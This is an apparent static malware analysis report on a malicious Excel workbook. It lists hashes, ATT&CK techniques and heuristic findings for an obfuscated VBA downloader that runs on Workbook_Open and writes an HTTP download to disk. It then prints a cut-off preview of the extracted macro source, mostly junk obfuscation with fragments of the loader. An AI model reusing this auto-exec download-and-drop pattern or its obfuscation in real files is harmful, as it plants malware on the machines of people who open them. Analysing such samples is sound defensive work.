Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e7dad285c959bd10…

MALICIOUS

Office (OLE)

972.0 KB Created: 2018-09-14 13:23:29 Authoring application: Microsoft Excel First seen: 2018-10-07
MD5: 4bbdbf066ea8a7994a8a44393cf90e94 SHA-1: 4f207a45514d6daa525214fa54f4092f648d69d1 SHA-256: e7dad285c959bd1072a93966b66d3433014cf09419181b12c81f4c254ab8750d
338 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macro downloads and saves a file to disk. The 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' and 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristics suggest an obfuscated loader that executes automatically upon opening the workbook. The presence of a Workbook_Open macro further supports this execution flow. While the exact URL is not directly visible due to obfuscation, the overall behavior points to a downloader for a second-stage payload.

Heuristics 10

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        RMUtFP = hGspXMy.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set ahWPxv = GetObject(NRmZudL)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set hGspXMy = CreateObject(fhXyO("Md giDUqc Kors^)o!o!s$ ]o $IfS )tF U.tdxXnGQMK& LQMTHZOXTeoAT#hGPt$$"))
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
        Set ahWPxv = GetObject(NRmZudL)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        IaELgLFd = Environ(fhXyO("As opCalpV-nDm.CaSR tM_ra#X?"))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 286832 bytes
SHA-256: deff9151549957373db5829e5feeceb4b23ec605b51d454f5af0d51611bc3826
Detection
ClamAV: No threats found
Obfuscation or payload: likely
1071 of 1755 identifiers look randomly generated (e.g. 'HXzuSXhgisJvkmNwKna') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Private Sub Workbook_Open()
    NiGUvBibAW = UCase("G q RIaXx$N")
    NiGUvBibAW = "x Z[ VEj[-f [. mTw" + "dEe MH ]L]jDF (" + " ph.[ uT $vog   VY y"
    VjxwqfHuryPu = 344 + 786 + 874
    GdCveKehl = "  _Hip)^fh " + "_V^q]cD^I%XtY^" + "ZdL@_N_%! ^Pp   .OS"
    GdCveKehl = Left("d A[y.pZpUGyA  LBPo", 4)
    pKBnoxcBp = StrReverse("ocZu QP x Jl # _Vp]y")
    For pmkbTN = 0 To 4
        For YwYqgN = 0 To 8
            GdCveKehl = Right("  sC&lhqE  w e ", 3)
            MNoVBPHMpjVB = Right("Q ]GJ Cy  WZ", 2)
            DyslwH = "!Nxpr SwGWBbz ! ^%" + "ks@  JEk)yX  keK" + "ih FY V  e  FaWb"
            MNoVBPHMpjVB = Space(5)
            VjxwqfHuryPu = UCase("[Mvsrf  (s(@  O i R")
            pKBnoxcBp = Right("# Ln?Ai Nuf aB", 4)
            VjxwqfHuryPu = UCase("& J.u&?@vj  %HD ")
            MNoVBPHMpjVB = LTrim(". L(vS.o # ")
            pKBnoxcBp = RTrim("$UB#kje w  FN")
            GdCveKehl = Right("-  momm# qjN  NUE ", 4)
            DyslwH = "UVeXLaY^  [ xYg " + "pUlJ wKFFR k" + "f u pG(d K vNN[O!["
            NiGUvBibAW = StrReverse("wq g! D&Cr  N)ka@GB ")
            fPExAI = Space(20)
            GdCveKehl = LTrim("yadvY i NDT")
            NiGUvBibAW = 1535 - 1963 - 205
            pKBnoxcBp = Right("H] lv& %c q", 5)
            MNoVBPHMpjVB = Right(" (# lYSf pkDmVg@ ", 3)
            SAMgqjB = 1359 + 1016 + 1505
        Next YwYqgN

        VYGbvuHmMFO = UCase("SSr] N Yjf")
        pKBnoxcBp = RTrim("Mm?sWfT Y z[ eZIy  ")
        jDYIzOUaJW = Left("!X PyR!WhdF", 2)
        pKBnoxcBp = Space(15)
        GdCveKehl = 508 - 1611 - 427
        VYGbvuHmMFO = 513 + 738 + 1290
        VYGbvuHmMFO = Right("Wu G(]LC  $?I", 2)
        jDYIzOUaJW = 1820 - 674 - 767
        jDYIzOUaJW = UCase("!@E?wuDzCF")
        SAMgqjB = UCase(" K)c RsV#t Ets&n")
        MNoVBPHMpjVB = RTrim("(Dp]B^ueE @ R &O  E")
        pKBnoxcBp = Space(17)
        pKBnoxcBp = StrReverse("# D  %. n m[sB")
        SAMgqjB = UCase("A.][  -q uQ)P")
        SAMgqjB = 1219 - 1114 - 1361
        SAMgqjB = 1317 - 478 - 1249
        fPExAI = 1437 + 1639 + 1217
        fPExAI = StrReverse("CT TQ%@ISEdUAj")
    Next pmkbTN

    jDYIzOUaJW = Right("&WyFHz eXxKT  n", 3)
    pKBnoxcBp = Space(5)
    pKBnoxcBp = RTrim("^% pt YHv ^ BXko  h")
    DyslwH = Space(14)
    SAMgqjB = 461 - 1652 - 829
    While VLYPBe < 4
        While tDnnSo < 4
            VjxwqfHuryPu = Space(2)
            SAMgqjB = Right("P #Y?c^z(m& ", 3)
            SAMgqjB = UCase(" ]X S  vj !deL B?qk")
            pKBnoxcBp = Space(8)
            NiGUvBibAW = Left("(a# J fSoOS(Xx k ", 3)
            pKBnoxcBp = Right("j_HpW  twC  Z", 4)
            VYGbvuHmMFO = 1873 + 1085 + 256
            VjxwqfHuryPu = Left("F p)IVD##Ws", 4)
            pKBnoxcBp = StrReverse("_ Qj) u%A-")
            NiGUvBibAW = StrReverse("Q_) Jvw  U. Woc ")
            SAMgqjB = 1799 + 1424 + 1442
            VYGbvuHmMFO = RTrim("-@l$ka  K%Ig ")
            tDnnSo = tDnnSo + 3
        Wend

        fPExAI = "h k%pIdB?) [[Qz  KJ" + " Y(GjB M[mUy o" + "_IOsw Sxjy_"
        DyslwH = RTrim("XC]LJ( p aY  [ ")
        MNoVBPHMpjVB = Right("@%rx !uhMp R^$r ALZ", 4)
        VjxwqfHuryPu = RTrim("?j!s  ]  H q&VAL Oe")
        pKBnoxcBp = Left("  nxVsY %^ u UZkF", 3)
        MNoVBPHMpjVB = 405 - 396 - 1592
        VLYPBe = VLYPBe + 3
    Wend

    For jVEEkY = 0 To 8
        fPExAI = UCase("aenZ$C%a.MU yU#")
        SAMgqjB = UCase("ii ?  IrLna b ")
        MNoVBPHMpjVB = LTrim("aPw %CP VK")
        MNoVBPHMpjVB = Space(8)
        MNoVBPHMpjVB = StrReverse("  #xd)sXFGu  $d&@")
        fPExAI = 1078 - 958 - 150
        NiGUvBibAW = Right("Hz pLt jsQ", 5)
        pKBnoxcBp = "rrZ&M   P." + " P  hnIQxCY" + "%l  Y]q]xm  jAh T"
        MNoVBPHMpjVB = Space(3)
        pKBnoxcBp = Left("q  I?)w^w sE vLRlz ", 3)
        pKBnoxcBp = UCase("D#Bt Olr.w Ql^ $ $ ")
        pKBnoxcBp = StrReverse("YcbL &M_zMIGj?? .slJ")
        MNoVBPHMpjVB = RTrim("l & m__UB OTBt$(")
        VYGbvuHmMFO = Space(11)
    Next jVEEkY

    GdCveKehl = " m i(#C[&C%dz  " + "f zkJrg  )YkTjKXG" + "v p M^bRV#h$gz (@"
    VYGbvuHmMFO = 1667 + 544 + 222
    While qFRhBT < 3
        VYGbvuHmMFO = " UEtwy_ Z#" + "p? ?^bU P  ]c  n J#" + "YK%Fe@ ?(D  fXM"
        VYGbvuHmMFO = RTrim("E(D N?yf_!")
        MNoVBPHMpjVB = Right("EjX_N KxLEG_A _ ", 5)
        SAMgqjB = Right("vO  O_OOaa", 3)
        VYGbvuHmMFO = Right(")#  Xa]@d --  Bq!", 2)
        SAMgqjB = StrReverse(")Pz]   uXg)")
        MNoVBPHMpjVB = LTrim("w  OZ mh  _(b UR")
        GdCveKehl = 372 + 199 + 500
        NiGUvBibAW = 1473 + 765 + 1953
        qFRhBT = qFRhBT + 1
    Wend

    GdCveKehl = 1441 - 1065 - 1748
    MNoVBPHMpjVB = UCase("f na @an n. ")
    pKBnoxcBp = Right("UaXN)f V j", 5)
    SAMgqjB = Left("Adn rabuBW [ CB", 2)
    While KsFCVP < 2
        VYGbvuHmMFO = StrReverse("  b !CF  B l S")
        jDYIzOUaJW = 526 - 256 - 1065
        MNoVBPHMpjVB = LTrim("(h&?!ix@Zz")
        jDYIzOUaJW = Right(" lneG  h  ( g(Sw uN", 2)
        pKBnoxcBp = StrReverse("O YGjKhQY E  qXZwGG")
        pKBnoxcBp = StrReverse("v)Xb L S MM@ nRF ")
        SAMgqjB = Left("A  kyUf^zQrucZ]Rp q", 3)
        VYGbvuHmMFO = Left("kJ%Tcei.e!QRF qXt  (", 3)
        GdCveKehl = StrReverse("e(SX  AEW t% DR!UpR")
        fPExAI = "nM?hR HF[%bzQZ e" + "( WAu(?[%i" + ")f ynI  mFNaNk "
        KsFCVP = KsFCVP + 2
    Wend

    VjxwqfHuryPu = UCase("! -c@g@_ORvZcl ")
    VjxwqfHuryPu = LTrim("KTdQA d hT o u$  @")
    VjxwqfHuryPu = UCase(" N  [_jg%%j f .ZRwk")
    VjxwqfHuryPu = Left("skIvV o  n", 2)
    pKBnoxcBp = "qy CU. p $GMP ." + "v)x  ALIC ry$x-OD" + "P MR  P Ga .Hl.zqVon"
    While HxJmgw < 5
        DyslwH = Left("[!  lVH qW! BA#r", 5)
        pKBnoxcBp = 1620 - 1627 - 735
        SAMgqjB = 153 - 279 - 615
        jDYIzOUaJW = 1210 + 521 + 894
        SAMgqjB = 1343 + 1736 + 1509
        DyslwH = 807 - 1726 - 1903
        VjxwqfHuryPu = Right("ff%  .UV)RV bvInwSO", 4)
        VYGbvuHmMFO = UCase("H%-$h$& -iL %")
        jDYIzOUaJW = Left(" XsEvRg p G SUb", 2)
        GdCveKehl = 481 + 1616 + 823
        GdCveKehl = Space(2)
        DyslwH = LTrim("l ##Q& o%m-")
        GdCveKehl = 1893 - 1870 - 628
        GdCveKehl = RTrim(" %H.aW]ONS[$oKW Od")
        SAMgqjB = Left("(mT   Bi_! ", 4)
        VjxwqfHuryPu = 1774 - 1326 - 1049
        pKBnoxcBp = LTrim("g QnI-ce   ")
        HxJmgw = HxJmgw + 3
    Wend

    fPExAI = RTrim("]Fs$^LR xes(")
    jDYIzOUaJW = LTrim("O [m @ VOuJ._ l ")
tozSXlnE "eGFILSxh", "PygYViUB", "zKpWRKasjR", "fUIOzjdd", "xUhyMQq"
    IaELgLFd = Environ(fhXyO("As opCalpV-nDm.CaSR tM_ra#X?"))
    DyslwH = Left("PbY d #a !Id_YJTDm", 3)
    For johgBv = 0 To 7
        GdCveKehl = UCase("x   _QZjh(F$ AO")
        DyslwH = 972 + 115 + 1672
        jDYIzOUaJW = Left("s %r ^duS hd Zs]", 5)
        pKBnoxcBp = Left("R wBY   GKu[ ", 3)
        DyslwH = 1351 - 661 - 1978
        SAMgqjB = Left("x R IbBa(H", 3)
        SAMgqjB = "J  ci QkZH  )Ee" + "j^S i  cwJbC!_[" + "R ! %LLmHC"
        DyslwH = RTrim("S VSP  OpUlP ")
        fPExAI = StrReverse("i   JpuHc  Bqt ")
        jDYIzOUaJW = 761 - 493 - 1658
        DyslwH = UCase("Oux Uh- IWr?XTno-")
        VYGbvuHmMFO = StrReverse(".rB!%YIyE  R")
        GdCveKehl = LTrim("UWgA )l  D")
        VYGbvuHmMFO = Space(2)
        DyslwH = Space(13)
        pKBnoxcBp = 114 + 1096 + 671
        DyslwH = UCase("^F-W ( wJ@WM ]i")
        VjxwqfHuryPu = Right("lv AfJ![mkE  rv P", 2)
    Next johgBv

    fPExAI = 863 + 556 + 1633
    DyslwH = StrReverse("ML   $mA h    _np-w")
    Dim GLPSCe As String
    VjxwqfHuryPu = Left("B BM] OnGK ] Dx Y[)", 2)
    VjxwqfHuryPu = Left("ftCOr xAWb gnfQ ]_", 4)
    GdCveKehl = RTrim("@SHQDw gUm#j")
    GdCveKehl = 286 - 804 - 1041
    SAMgqjB = RTrim("w[ EXy   z(")
    NiGUvBibAW = LTrim("^z HNP?[ q ")
    pKBnoxcBp = Space(3)
    While csWdeB < 5
        For crhrAW = 0 To 7
            MNoVBPHMpjVB = RTrim(" ntQt^jH   B[  s  n")
            DyslwH = LTrim("B(nVdJGbZ#)%B")
            NiGUvBibAW = StrReverse("t dw PP OvrKLOd")
            VYGbvuHmMFO = RTrim("ajsnCpc VCxgB)")
            jDYIzOUaJW = Left("T!  fDyS ZCmvFOY# b", 5)
            VjxwqfHuryPu = StrReverse("  z  i   ZB [wA")
            DyslwH = RTrim("a f#muiGJ GP  XGRazy")
            SAMgqjB = LTrim("&S q I   $bz_Vi)eM -")
            fPExAI = Left(" oumfjq @g?i", 2)
            VjxwqfHuryPu = StrReverse("$JR v[-wV ! P")
            fPExAI = Left("   ^MT[ZMm  z _", 3)
            MNoVBPHMpjVB = Left("n)h -aMzB P@.", 3)
        Next crhrAW

        SAMgqjB = Left("N  z&Xq[ klaYX  y  n", 3)
        MNoVBPHMpjVB = Space(11)
        SAMgqjB = 1230 - 1845 - 937
        DyslwH = "F ^MK^kh GDFn" + "S  A_N (Vn" + "FH (cNe^ uS"
        jDYIzOUaJW = LTrim("m #h I   ! Dp  )U")
        GdCveKehl = UCase("[?mv  f yeT")
        DyslwH = LTrim("rV ?SR& - Vet-jF ")
        NiGUvBibAW = StrReverse("  @GM]Zv# Ij%&kJT")
        NiGUvBibAW = Right("  Jm DL zMH$D", 4)
        pKBnoxcBp = 491 + 880 + 170
        fPExAI = UCase("wU B[!y g @ ]CvJo")
        GdCveKehl = RTrim("KbS h f   oaB_KWMjS")
        MNoVBPHMpjVB = RTrim("k Lx #G%^ i-pX")
        pKBnoxcBp = "xb^TW%  c@" + "E#x ) qk_#H?sklOb !I" + "#wHlKwvvndR  r"
        GdCveKehl = 511 - 123 - 1836
        VYGbvuHmMFO = Left("c  Nm!(T[L", 3)
        SAMgqjB = Space(8)
        jDYIzOUaJW = LTrim("X  bB yNMR")
        csWdeB = csWdeB + 3
    Wend

    GLPSCe = "F^^uO"
    While unLoDY < 3
        For WYvZdQ = 0 To 6
            MNoVBPHMpjVB = Right("Q!KuhC  uXIuY %", 4)
            NiGUvBibAW = Right("_fu? Mn[Mh_D Dk", 3)
            MNoVBPHMpjVB = Left("dq[ MB i  L)r) UUD ", 2)
            VjxwqfHuryPu = 664 - 1020 - 116
            VYGbvuHmMFO = RTrim("# oHN js !)L ra")
            pKBnoxcBp = LTrim(" -?K BM!-rL")
            DyslwH = StrReverse(" #  ] h#  oNj_(bud")
            SAMgqjB = "X ?R p T$uL .mng" + "zb ABd_IboZZ" + "D [NmIY  oCnB"
            pKBnoxcBp = Right(" oued NwZefoHkX)", 4)
            fPExAI = 1192 + 413 + 851
            NiGUvBibAW = Right("w(. d)  OS.v V d", 5)
            fPExAI = RTrim(" ux]GcqW-a")
            GdCveKehl = UCase("jS C$vs-z aHY wfE !R")
            DyslwH = 950 - 1754 - 1073
            MNoVBPHMpjVB = Right("! wDq%%b F q[oh.!U o", 2)
        Next WYvZdQ

        VjxwqfHuryPu = RTrim("@%O^SJXGz@  YW? n-  ")
        VYGbvuHmMFO = RTrim(".Jt&m&jG)H")
        VjxwqfHuryPu = LTrim(".Y I G  J  ")
        pKBnoxcBp = LTrim(" pI  V  J-RT Tw ")
        SAMgqjB = " &FLfwG A " + "w_  TkfE DZ Hj  _" + "HU mWI ^ ?unva  "
        VjxwqfHuryPu = StrReverse("b]  ^qRnv%")
        GdCveKehl = "!gD_RJ]g& gxW& l_" + "oEpo%_ kJT.z  sKr " + "sG( )uJ v@zL l."
        MNoVBPHMpjVB = 1572 - 1317 - 683
        DyslwH = 1182 - 1657 - 691
        pKBnoxcBp = LTrim("  !BODs C j")
        DyslwH = Right("Qli_!irRg kY ", 5)
        jDYIzOUaJW = RTrim("od@  jVuqx   o")
        VYGbvuHmMFO = RTrim("jZ N ) ^f  ]D %sxpw")
        VYGbvuHmMFO = RTrim("c Tuqs  qY  ")
        unLoDY = unLoDY + 3
    Wend

    VYGbvuHmMFO = Right(" YS  PNDo [_PuOU_", 2)
    While LgagqD < 1
        VYGbvuHmMFO = 716 + 1098 + 337
        SAMgqjB = Right("f uB?% u ih- _&( ", 5)
        pKBnoxcBp = LTrim("P%f) u  r sm] $o")
        VjxwqfHuryPu = 1667 + 280 + 1401
        VjxwqfHuryPu = 680 + 1149 + 1767
        VjxwqfHuryPu = LTrim("o   @ME HR.E  WP_c")
        LgagqD = LgagqD + 3
    Wend

    pKBnoxcBp = Left("@O  &Q NVWDRGY", 3)
    pKBnoxcBp = StrReverse("o-xs WCKw(o %  A")
    VjxwqfHuryPu = 1973 - 555 - 387
    DyslwH = 192 - 1966 - 1445
    DyslwH = StrReverse(" b E_W_(&$.")
    GLPSCe = GLPSCe + "p vL?"
    GdCveKehl = 1734 - 1864 - 128
    fPExAI = StrReverse(" F-) z DIkgg]H  .ON[")
    NiGUvBibAW = "M_    %EtJ . !yp  p " + "k&PDtziFt@#Xi]y " + "fjGNe vlsN"
    NiGUvBibAW = RTrim("KTrjk[  u&")
    DyslwH = Right("bmZP_XZxtlh", 5)
    pKBnoxcBp = 123 - 409 - 1949
    NiGUvBibAW = StrReverse(" (  HiH(  ")
    GLPSCe = GLPSCe + "LrDM&"
    MNoVBPHMpjVB = 1125 + 822 + 1803
    DyslwH = StrReverse("S!x  C %a     KtJr% ")
    DyslwH = Right("dHQ M$BOCSa dShR", 2)
    MNoVBPHMpjVB = 933 + 163 + 1917
    fPExAI = 1371 - 385 - 170
    While TWSdQO < 5
        For UHZhcs = 0 To 7
            fPExAI = 793 - 1088 - 280
            NiGUvBibAW = UCase("  ^s dd&  i?qL  v")
            DyslwH = "No [Cn- L-cnMn " + "@ ^ Tm  aPo" + "zKE!-h(E Up hE Q)"
            pKBnoxcBp = StrReverse("d    q bhIcXGL")
            VYGbvuHmMFO = Left("  r   sMR ", 2)
            GdCveKehl = Left("$%LE.g?v) &IQvY (", 3)
            SAMgqjB = " Y&cWA(f VWEEE]]" + "#imq]RD T)h   fTfNu" + "a.E iEr ) Kl "
            jDYIzOUaJW = Left("hbc lmihp$  wW @iU r", 5)
            fPExAI = StrReverse("nT Crf% nDGQuZ nI_")
            GdCveKehl = 915 + 1277 + 528
            pKBnoxcBp = UCase("h hMFeia#Ii]v v")
            pKBnoxcBp = "vXp[BU#f# djf  " + "   K# VQ J&][^_)" + "dE K  GAu(EW"
            SAMgqjB = Left("rD?ft r H[", 3)
            SAMgqjB = 1832 - 245 - 1934
            MNoVBPHMpjVB = RTrim("$ W$  DUa iP dKO maZ")
        Next UHZhcs

        VYGbvuHmMFO = 196 + 1728 + 345
        VYGbvuHmMFO = RTrim("^yXhLibNkM")
        NiGUvBibAW = Right("_ u ! BjOimaAiCSN ", 5)
        NiGUvBibAW = "F h A i h Q JoUFY" + "X h jP pdO" + "tYF  p OjL"
        SAMgqjB = 1568 - 1145 - 1879
        VjxwqfHuryPu = Left("AA N J%B nU ", 5)
        pKBnoxcBp = RTrim("qR] ?d^ u TMP sjm gC")
        VYGbvuHmMFO = RTrim("DO   v !^ L k")
        DyslwH = StrReverse("X@pds  $v E)E  -")
        DyslwH = Right("@ @& aJIF M HtaJw", 2)
        SAMgqjB = 526 + 1659 + 1356
        VjxwqfHuryPu = Space(8)
        DyslwH = Space(15)
        jDYIzOUaJW = StrReverse("#GrPuOBzFj")
        TWSdQO = TWSdQO + 3
    Wend

    jDYIzOUaJW = LTrim("ANhFfgD^ NIbOUK")
    jDYIzOUaJW = LTrim("g  h?b xx $ pP X e ")
    GLPSCe = GLPSCe + "pE&@a"
    pKBnoxcBp = Right("c pW@EF  wTY ", 2)
    MNoVBPHMpjVB = "^jqfcP l Yc   SXj   " + "I%O PwB v^h " + "d&EC  o(.     qw DJ"
    For yGgSdX = 0 To 3
        While iLfjhR < 2
            pKBnoxcBp = LTrim("  NC]YzlEbRSL#")
            SAMgqjB = UCase("- #^  m w z")
            VjxwqfHuryPu = "l  A ] tP QHA iRD  q" + "^RjgL .rEIrD" + "(oVu %ABUrP "
            NiGUvBibAW = "MSn&rd  ltVv  ySE " + "qNmGG l.&VyIcBFQLacZ" + "$P^( TcrLZK o "
            SAMgqjB = 1510 + 718 + 105
            MNoVBPHMpjVB = "$ Yi ) Ga$A" + "O i  FS h#f X" + "&r^L@j  r  "
            VYGbvuHmMFO = RTrim("kUQ  !Xb P")
            DyslwH = StrReverse(" XXveE ofx    IbVs")
            NiGUvBibAW = RTrim("nCI@B).J## v&   F")
            GdCveKehl = 1966 + 1232 + 1596
            VjxwqfHuryPu = UCase("J I .# duf Z #")
            SAMgqjB = Right("% H  u # (A", 2)
            GdCveKehl = 146 - 1003 - 182
            DyslwH = Space(9)
            pKBnoxcBp = "i JY$kgB  " + "m T@yMh u aN ph" + "z. uC_!%  qrW! Esb"
            NiGUvBibAW = RTrim("qC  V N F (")
            pKBnoxcBp = Left("ran   p(   @ Yr#B", 5)
            SAMgqjB = 665 - 1607 - 1983
            iLfjhR = iLfjhR + 3
        Wend

        SAMgqjB = Right(" ED qI fL  u?bBi x", 2)
        fPExAI = "F! jJ^oYbn BUK" + " O#pAC   ]eoi " + "h$dz)^EfW &BQk J "
        VjxwqfHuryPu = UCase("W F Bkh  S ")
        jDYIzOUaJW = StrReverse("i GSQUKf^se q#Og ")
        GdCveKehl = RTrim(" MvW&%? Dr!E SVcoED")
        VjxwqfHuryPu = RTrim("k lLfSg wB N%eZ)")
        fPExAI = LTrim("[.e(fd prJ!J rDRWk K")
        NiGUvBibAW = Right("j mv r& p [Jbe)%C ", 3)
        GdCveKehl = Right(" g R  LMZ- ", 5)
        pKBnoxcBp = RTrim(".O P (#T&dW")
        fPExAI = LTrim("AsFmsaIrp # &?")
        fPExAI = RTrim("Syoo  xrfl")
        SAMgqjB = 116 + 1860 + 1437
        fPExAI = Right(" ?#pb$D-M NR I vhYN", 5)
        fPExAI = Space(12)
        VjxwqfHuryPu = Right(" $GRXwPjHQ F", 3)
    Next yGgSdX

    For FvAiOr = 0 To 6
        VYGbvuHmMFO = StrReverse("BuTAnr QM(VoURC")
        jDYIzOUaJW = Right("z]zBX        o)V", 3)
        DyslwH = StrReverse("%RkR dZb@L[r")
        GdCveKehl = Space(3)
        VjxwqfHuryPu = LTrim("(Bnqexow.d  aoF V")
        fPExAI = 151 - 322 - 1756
        DyslwH = "M(%-[NeJY BZ As " + "[ k-_Gz H oO]  !R " + " aEfpg@ S eRm%kIWJx"
        pKBnoxcBp = " w - [d@   e#Wvk M " + " ])$narAYQBQ" + "  ?yRY w psu"
        fPExAI = StrReverse(")   b  Gt J g KUgIgq")
    Next FvAiOr

    DyslwH = StrReverse("zm  ?)  )PaRW_ r$c ")
    While zHsXua < 1
        VjxwqfHuryPu = StrReverse("   eDl-MQS HG")
        SAMgqjB = 1391 - 960 - 194
        GdCveKehl = Left(" bPb sjpD-O T k  ", 3)
        DyslwH = Left("NzOeDflh  Y", 4)
        VjxwqfHuryPu = UCase("&_ w?Wf%z!# O")
        MNoVBPHMpjVB = UCase(" )Aw) !)H$EhBHSQKt")
        pKBnoxcBp = Left("#G  EUZQ# q H", 3)
        zHsXua = zHsXua + 2
    Wend

    SAMgqjB = ")tdXL xxTS pX x" + "J-hgofKv T n " + "[[q  VU Dcl"
    While LAmXsn < 3
        For OMQAEn = 0 To 9
            GdCveKehl = Left("ZmA D l!q ", 3)
            GdCveKehl = UCase("zs K  b (^XGA")
            MNoVBPHMpjVB = 503 - 1792 - 724
            DyslwH = UCase("pv R h h]a b U GBK[p")
            jDYIzOUaJW = LTrim(" -MT  !D b^ O  jt")
            jDYIzOUaJW = 866 - 234 - 455
            DyslwH = RTrim("K M S K$%J^ s Bs  J")
            MNoVBPHMpjVB = LTrim("@Wh yZUUrUkl [%k")
            GdCveKehl = "M%V.)HC_ a  ?" + "Zl !?W%r e_jg" + " f n  @F(Q sU w"
        Next OMQAEn

        VjxwqfHuryPu = Left(" ER y ACwSxrb_c]aoy", 4)
        jDYIzOUaJW = StrReverse(" OGSg GADd  ")
        MNoVBPHMpjVB = StrReverse("WmSEOKt_GFRkpNY")
        NiGUvBibAW = Right("_yg fw[jfscY", 3)
        GdCveKehl = UCase(" PE-TA. R lH z")
        pKBnoxcBp = 1605 - 1764 - 1792
        MNoVBPHMpjVB = Left("F. $! I  W] ", 4)
        GdCveKehl = Left("f]& NZMo bG", 2)
        fPExAI = Right("Oe)  (mfne ", 2)
        DyslwH = 104 - 110 - 818
        fPExAI = UCase("  ZWp@mfwJ ")
        NiGUvBibAW = UCase("wRR?  T    A#")
        NiGUvBibAW = LTrim("$)E[cr  wr  ")
        VjxwqfHuryPu = StrReverse("[Vf g$.D  DZb M")
        SAMgqjB = LTrim("Ne s%aHXn%   hh    q")
        NiGUvBibAW = RTrim("g ) cE!jqKhZG")
        LAmXsn = LAmXsn + 2
    Wend

    pKBnoxcBp = Space(11)
    fPExAI = 409 + 1443 + 1217
    GLPSCe = GLPSCe + "Rh #\"
    For RUYzhk = 0 To 2
        For WSaCsT = 0 To 6
            MNoVBPHMpjVB = Space(11)
            pKBnoxcBp = UCase("$)RXCbXumniZwn qT")
            VYGbvuHmMFO = "# Gj#luEN!" + "X iW TuK  ? u" + "&$N (zE&_TpU U"
            jDYIzOUaJW = LTrim("  DfRfiy M")
            SAMgqjB = RTrim(" & G T^w[v")
            DyslwH = UCase("[N[$a#ZOW ")
            VYGbvuHmMFO = Space(14)
            NiGUvBibAW = Space(12)
            jDYIzOUaJW = RTrim(" S F CXh K")
            VYGbvuHmMFO = 1937 - 920 - 139
            fPExAI = LTrim("RiakG    ]B ")
            MNoVBPHMpjVB = Right("SQSlD M  b ", 3)
        Next WSaCsT

        SAMgqjB = LTrim(" wyO& s N!")
        SAMgqjB = Left("?^ue(uZ y Pefh%v", 4)
        GdCveKehl = Space(13)
        SAMgqjB = StrReverse("R cMS @(uU!%[ iI pt ")
        DyslwH = StrReverse("dNTV YuUku q xa lVP")
        VYGbvuHmMFO = Right("MUtqhH ]CR . UXp", 2)
        GdCveKehl = 904 - 936 - 498
        GdCveKehl = Space(10)
        MNoVBPHMpjVB = 400 + 136 + 1942
    Next RUYzhk

    VjxwqfHuryPu = " cTCL!Pg#ef  R. R" + "&) s% ? NO" + "gUrThor ?ckEuwI"
    jDYIzOUaJW = UCase("#zlf%@!j_^v hIy - w")
    fPExAI = Space(1)
    MNoVBPHMpjVB = Left("Xr  !g s Hd", 3)
    While QONiIN < 1
        For XSPRpF = 0 To 7
            VjxwqfHuryPu = 784 + 794 + 1679
            fPExAI = "c(  U#G uow  c?u o!e" + "N[^N d )h  fBzniN" + "]b   HX!kO-H BJtL? "
            SAMgqjB = StrReverse(" ^g   &Ga ]x n?C")
            NiGUvBibAW = 1282 - 576 - 1349
            jDYIzOUaJW = RTrim("  BBFi  Ma^lM")
            VjxwqfHuryPu = Space(18)
            pKBnoxcBp = Left("Y_G(FU mWuNg wG", 2)
            NiGUvBibAW = UCase("(iq mZd HL%XdfxKed(o")
        Next XSPRpF

        fPExAI = 974 + 366 + 1115
        NiGUvBibAW = Space(12)
        VjxwqfHuryPu = Left("_ kWNE s.]sR%-ZCyC", 4)
        NiGUvBibAW = LTrim("xg  IK  M_(mD^@  vC")
        GdCveKehl = 1994 - 1953 - 1887
        fPExAI = Space(7)
        VjxwqfHuryPu = LTrim("gjCWH n.d    Nhwa")
        fPExAI = UCase("Dc H%UG ^ ")
        fPExAI = 1167 - 451 - 1360
        GdCveKehl = Left("xh $m d HTs  tdyD?", 5)
        fPExAI = 1093 + 497 + 1401
        MNoVBPHMpjVB = 505 - 1782 - 1404
        fPExAI = StrReverse("Y]l#@NJ]Su L H")
        NiGUvBibAW = 1339 - 1002 - 1535
        jDYIzOUaJW = StrReverse(" l!j   n I)H")
        VYGbvuHmMFO = Space(9)
        QONiIN = QONiIN + 2
    Wend

    For quvhCg = 0 To 4
        While yrwLln < 5
